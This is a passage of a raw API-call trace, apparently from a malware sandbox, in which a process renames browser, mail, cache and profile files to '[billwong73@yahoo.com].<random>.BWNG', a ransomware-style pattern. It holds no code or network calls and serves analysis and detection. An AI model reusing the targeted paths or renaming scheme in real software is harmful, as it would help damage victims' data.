(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\[billwong73@yahoo.com].bR1Q5Ndj-cbmLAogo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\[billwong73@yahoo.com].br1q5ndj-cbmlaogo.bwng"), dwFlags=0x1) returned 1 [0131.299] GetTickCount () returned 0x11685b4 [0131.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27325119988) returned 1 [0131.299] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\[billwong73@yahoo.com].ZXtreL4K-ujPjOgwL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\[billwong73@yahoo.com].zxtrel4k-ujpjogwl.bwng"), dwFlags=0x1) returned 1 [0131.300] GetTickCount () returned 0x11685b4 [0131.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27325265483) returned 1 [0131.301] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\[billwong73@yahoo.com].oCNBg57S-VEat4vgd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\[billwong73@yahoo.com].ocnbg57s-veat4vgd.bwng"), dwFlags=0x1) returned 1 [0131.302] GetTickCount () returned 0x11685b4 [0131.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27325469583) returned 1 [0131.303] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].bz9KqaEI-8jtmpVuX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].bz9kqaei-8jtmpvux.bwng"), dwFlags=0x1) returned 1 [0131.672] GetTickCount () returned 0x116872a [0131.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27362450377) returned 1 [0131.673] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].po9fywb9-ka4nUZjf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].po9fywb9-ka4nuzjf.bwng"), dwFlags=0x1) returned 1 [0131.674] GetTickCount () returned 0x116872a [0131.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27362664338) returned 1 [0131.675] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\[billwong73@yahoo.com].SpNbb8nU-yFHrViap.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\[billwong73@yahoo.com].spnbb8nu-yfhrviap.bwng"), dwFlags=0x1) returned 1 [0131.676] GetTickCount () returned 0x116872a [0131.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27362843899) returned 1 [0131.676] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\28e95d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\[billwong73@yahoo.com].CgmI2pUc-5drD5Oya.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\[billwong73@yahoo.com].cgmi2puc-5drd5oya.bwng"), dwFlags=0x1) returned 1 [0131.678] GetTickCount () returned 0x116872a [0131.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27363281490) returned 1 [0131.682] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_map_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\[billwong73@yahoo.com].KXe7wNPq-kVtdS8pQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\[billwong73@yahoo.com].kxe7wnpq-kvtds8pq.bwng"), dwFlags=0x1) returned 1 [0131.683] GetTickCount () returned 0x116873a [0131.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27363559841) returned 1 [0131.684] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\[billwong73@yahoo.com].8PMYMlBR-ddu6Aaoz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\[billwong73@yahoo.com].8pmymlbr-ddu6aaoz.bwng"), dwFlags=0x1) returned 1 [0131.689] GetTickCount () returned 0x116873a [0131.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27364083165) returned 1 [0131.689] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].gPlynMPW-RClI47L9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].gplynmpw-rcli47l9.bwng"), dwFlags=0x1) returned 1 [0131.690] GetTickCount () returned 0x116873a [0131.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27364247803) returned 1 [0131.691] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].eiWkERah-sqnL5NoZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].eiwkerah-sqnl5noz.bwng"), dwFlags=0x1) returned 1 [0131.692] GetTickCount () returned 0x116873a [0131.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27364393695) returned 1 [0131.692] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].HASTIKS8-BpUCt4vB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].hastiks8-bpuct4vb.bwng"), dwFlags=0x1) returned 1 [0131.693] GetTickCount () returned 0x116873a [0131.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27364560452) returned 1 [0131.694] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].u9qQ1a88-0xFKDgSS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].u9qq1a88-0xfkdgss.bwng"), dwFlags=0x1) returned 1 [0131.695] GetTickCount () returned 0x116873a [0131.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27364722037) returned 1 [0131.695] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].hWk47R2h-4ggU9qsV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].hwk47r2h-4ggu9qsv.bwng"), dwFlags=0x1) returned 1 [0131.697] GetTickCount () returned 0x116874a [0131.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27364877702) returned 1 [0131.697] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].CCTavMXr-C3H8xDzA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].cctavmxr-c3h8xdza.bwng"), dwFlags=0x1) returned 1 [0131.698] GetTickCount () returned 0x116874a [0131.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27365034809) returned 1 [0131.698] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].nGz7Q11F-OQduQfJx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].ngz7q11f-oqduqfjx.bwng"), dwFlags=0x1) returned 1 [0131.700] GetTickCount () returned 0x116874a [0131.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27365191344) returned 1 [0131.700] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].NNAslNi3-1n3nPYXi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].nnaslni3-1n3npyxi.bwng"), dwFlags=0x1) returned 1 [0131.701] GetTickCount () returned 0x116874a [0131.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27365318391) returned 1 [0131.701] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].w0FLR8hk-ePk8KJaq.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].w0flr8hk-epk8kjaq.bwng"), dwFlags=0x1) returned 1 [0131.702] GetTickCount () returned 0x116874a [0131.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27365475830) returned 1 [0131.703] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Contacts\\[billwong73@yahoo.com].Hd603gmv-pEPko6x3.BWNG" (normalized: "c:\\users\\default\\contacts\\[billwong73@yahoo.com].hd603gmv-pepko6x3.bwng"), dwFlags=0x1) returned 1 [0131.762] GetTickCount () returned 0x1168788 [0131.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27371445419) returned 1 [0131.763] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].uyE40Hkm-vtRfsWOQ.BWNG" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\[billwong73@yahoo.com].uye40hkm-vtrfswoq.bwng"), dwFlags=0x1) returned 1 [0131.764] GetTickCount () returned 0x1168788 [0131.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27371641323) returned 1 [0131.764] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\[billwong73@yahoo.com].m4Puhzsl-Or1r4tFs.BWNG" (normalized: "c:\\users\\default\\favorites\\windows live\\[billwong73@yahoo.com].m4puhzsl-or1r4tfs.bwng"), dwFlags=0x1) returned 1 [0131.766] GetTickCount () returned 0x1168788 [0131.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27371807357) returned 1 [0131.766] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Searches\\[billwong73@yahoo.com].jaPBJoDQ-klzwceq3.BWNG" (normalized: "c:\\users\\default\\searches\\[billwong73@yahoo.com].japbjodq-klzwceq3.bwng"), dwFlags=0x1) returned 1 [0131.767] GetTickCount () returned 0x1168788 [0131.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27371946190) returned 1 [0131.767] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Libraries\\[billwong73@yahoo.com].OGY4jTUh-uQJ2xcml.BWNG" (normalized: "c:\\users\\public\\libraries\\[billwong73@yahoo.com].ogy4jtuh-uqj2xcml.bwng"), dwFlags=0x1) returned 1 [0131.769] GetTickCount () returned 0x1168788 [0131.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372103538) returned 1 [0131.769] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\[billwong73@yahoo.com].9YuuclCy-LFz3cbjZ.BWNG" (normalized: "c:\\users\\public\\recorded tv\\sample media\\[billwong73@yahoo.com].9yuuclcy-lfz3cbjz.bwng"), dwFlags=0x1) returned 1 [0131.770] GetTickCount () returned 0x1168788 [0131.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372256364) returned 1 [0131.771] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].AWZTuPZu-E1zoKMZZ.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].awztupzu-e1zokmzz.bwng"), dwFlags=0x1) returned 1 [0131.771] GetTickCount () returned 0x1168788 [0131.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372371999) returned 1 [0131.772] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].qdtL5Dtq-nloo75TI.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].qdtl5dtq-nloo75ti.bwng"), dwFlags=0x1) returned 1 [0131.773] GetTickCount () returned 0x1168788 [0131.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372505687) returned 1 [0131.773] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].u3UAtFok-yEnmNfbU.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].u3uatfok-yenmnfbu.bwng"), dwFlags=0x1) returned 1 [0131.774] GetTickCount () returned 0x1168798 [0131.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372606569) returned 1 [0131.774] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Desktop\\[billwong73@yahoo.com].Cnwdbk59-h5t5Bw1j.BWNG" (normalized: "c:\\users\\default\\desktop\\[billwong73@yahoo.com].cnwdbk59-h5t5bw1j.bwng"), dwFlags=0x1) returned 1 [0131.775] GetTickCount () returned 0x1168798 [0131.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372746366) returned 1 [0131.775] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].wCA9PuGe-7g2x1M3r.BWNG" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\[billwong73@yahoo.com].wca9puge-7g2x1m3r.bwng"), dwFlags=0x1) returned 1 [0131.776] GetTickCount () returned 0x1168798 [0131.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372872212) returned 1 [0131.777] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\[billwong73@yahoo.com].mTwzUEA8-saIT9GZX.BWNG" (normalized: "c:\\users\\default\\favorites\\windows live\\[billwong73@yahoo.com].mtwzuea8-sait9gzx.bwng"), dwFlags=0x1) returned 1 [0131.778] GetTickCount () returned 0x1168798 [0131.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27372996773) returned 1 [0131.778] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Videos\\[billwong73@yahoo.com].2ODnypeK-OsLWs1Qt.BWNG" (normalized: "c:\\users\\default\\videos\\[billwong73@yahoo.com].2odnypek-oslws1qt.bwng"), dwFlags=0x1) returned 1 [0131.779] GetTickCount () returned 0x1168798 [0131.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27373148731) returned 1 [0131.780] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="C:\\Users\\Public\\Libraries\\[billwong73@yahoo.com].Zk3DpZMH-BAWfWYPZ.BWNG" (normalized: "c:\\users\\public\\libraries\\[billwong73@yahoo.com].zk3dpzmh-bawfwypz.bwng"), dwFlags=0x1) returned 1 [0131.780] GetTickCount () returned 0x1168798 [0131.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27373254384) returned 1 [0131.781] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+4"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].9ixQUCrU-5cx1NcsO.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].9ixqucru-5cx1ncso.bwng"), dwFlags=0x1) returned 1 [0131.783] GetTickCount () returned 0x1168798 [0131.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27373489544) returned 1 [0131.783] MoveFileExW 